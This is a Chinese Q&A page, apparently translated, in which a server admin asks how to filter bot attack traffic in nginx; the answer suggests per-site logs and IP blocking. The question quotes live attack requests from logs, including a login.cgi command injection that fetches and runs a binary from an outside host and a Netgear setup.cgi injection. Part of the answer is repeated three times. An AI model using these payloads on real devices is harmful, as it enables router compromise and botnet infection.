首页 > 解决方案 > 过滤 nginx 上的垃圾邮件 HTTP 流量

问题描述

我有一个 Web 服务器来托管我对 Internet Web 应用程序的开放。每个网络应用程序都有自己的子域,例如app1.mycompanydomain.comapp2.mycompanydomain.com。所有传入流量都到达nginx它解析主机名并将请求代理到同一 VM 上的应用程序 Web 服务器的位置。这是我的配置:

server {
            listen 80;
            server_name _;
            return 444;
    }

    server {
            listen 80;
            server_name *.mycompanydomain.com;
            return 301 https://$host$request_uri;
    }

    server {
            listen 443 ssl;
            server_name _;

            ssl_certificate /opt/cert/cert.crt;
            ssl_certificate_key /opt/cert/cert.key;

            return 444;
    }

    server {
            server_name app1.mycompanydomain.com app1.mycompanydomain.com;
            listen 443 ssl;

            ssl_certificate /opt/cert/cert.crt;
            ssl_certificate_key /opt/cert/cert.key;

            location / {
                    proxy_pass http://localhost:9081/;
            }
    }

    #Proxying for the rest of the applications look the same

我返回 444 http 状态的块旨在过滤掉我们过去经常收到的自动恶意请求。问题是我们仍然收到相当数量的此类请求。我几乎可以肯定这些请求中的大多数是由不知道目标主机的自动机器人发送的,但由于某种原因,我们无法识别这些请求的目标主机,因此我们无法真正阻止它们。我们试图记录$host, $http_host$server_name但它们都是空的或 _。

因此有2个问题:

  1. 请求主机怎么可能是空的?还有其他方法可以识别请求主机吗?
  2. 我可以施加哪些其他规则来过滤我们的流氓流量?

仍在通过的恶意流量示例:

1. IP:45.228.213.131 [28/Feb/2020:03:32:25 -0500] 请求:“GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips %20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1",目标:_,代码:400,正文:166,代理:“botnet/2.0”,时间:0.000 毫秒

2. IP:85.93.20.170 [27/Feb/2020:16:29:24 -0500] 请求:"\x03\x00\x00/ \xE0\x00\x00\x00\x00\x00Cookie: mstshash=Administr",目标:_,代码:400,正文:166,代理:“-”,时间:0.132 毫秒

3. IP:31.208.166.61 [25/Feb/2020:16:07:02 -0500] 请求:“GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/¤tsetting.htm=1 HTTP/1.1 ",目标:_,代码:400,正文:166,代理:“Mozilla/5.0”,时间:0.000 毫秒

标签: httpsecuritynginxhttps

解决方案


我很惊讶还没有人回答这个问题。由于您提供的配置,我没有看到您正在为每个托管外部访问的应用程序单独定义日志文件,您应该这样做:

access_log /var/log/nginx/website1_access.log;
error_log /var/log/nginx/website1_error.log;

通过分离它们,您可以深入了解每个 FQDN,因为每个站点都有自己的日志文件。然后查看攻击是否有任何模式,并决定从那里以某种方式处理。例如 grep 用于您已设置的 444,然后使用“cut”仅显示 IP,然后通过管道进入 sort,然后 uniq,现在您有一个 IP 列表,您可以拒绝甚至阻止防火墙。引入的风险是,如果其中一个 IP 实际上应该访问该站点,但意外地像带有病毒的客户机器一样攻击它,您将如何管理阻止。为了解决这个问题,我建议您为您可以识别为合法流量的特定字符串搜索您的日志文件,然后将这些 IP 剪切/排序/uniq 作为基线。现在寻找那些IP' s 在 444 和其他攻击的列表中,如果您有匹配项,则提出管理您的发现并让他们决定是否要阻止它们或向该用户或客户端提出问题,因为您应该能够跟踪通过将攻击的时间戳与 NGINX 服务器相匹配,这在用户所在的应用程序服务器上。我将先对此进行试运行,看看它如何运行一个月,然后如果没有误报,然后编写一个自动化脚本来检查有问题的 IP,然后在可以包含在 NGINX 配置中的单独配置中拒绝它们。使其对攻击更加敏感的另一件事是,例如,假设您没有在任何有效 URL 中使用 php 或 cgi,您也可以对它们进行 grep 并应用逻辑来自动阻止它们。s 和其他攻击,如果您有匹配项,则管理您的发现并让他们决定是否要阻止它们或向该用户或客户端提出问题,因为您应该能够在您的应用程序服务器上跟踪用户通过将攻击的时间戳与 NGINX 服务器相匹配。我将先对此进行试运行,看看它如何运行一个月,然后如果没有误报,然后编写一个自动化脚本来检查有问题的 IP,然后在可以包含在 NGINX 配置中的单独配置中拒绝它们。使其对攻击更加敏感的另一件事是,例如,假设您没有在任何有效 URL 中使用 php 或 cgi,您也可以对它们进行 grep 并应用逻辑来自动阻止它们。s 和其他攻击,如果您有匹配项,则管理您的发现并让他们决定是否要阻止它们或向该用户或客户端提出问题,因为您应该能够在您的应用程序服务器上跟踪用户通过将攻击的时间戳与 NGINX 服务器相匹配。我将先对此进行试运行,看看它如何运行一个月,然后如果没有误报,然后编写一个自动化脚本来检查有问题的 IP,然后在可以包含在 NGINX 配置中的单独配置中拒绝它们。使其对攻击更加敏感的另一件事是,例如,假设您没有在任何有效 URL 中使用 php 或 cgi,您也可以对它们进行 grep 并应用逻辑来自动阻止它们。

以下是一些有助于自动化的项目: NGINX Honeypot & NGINX Bad Bot and Referrer Blocker


推荐阅读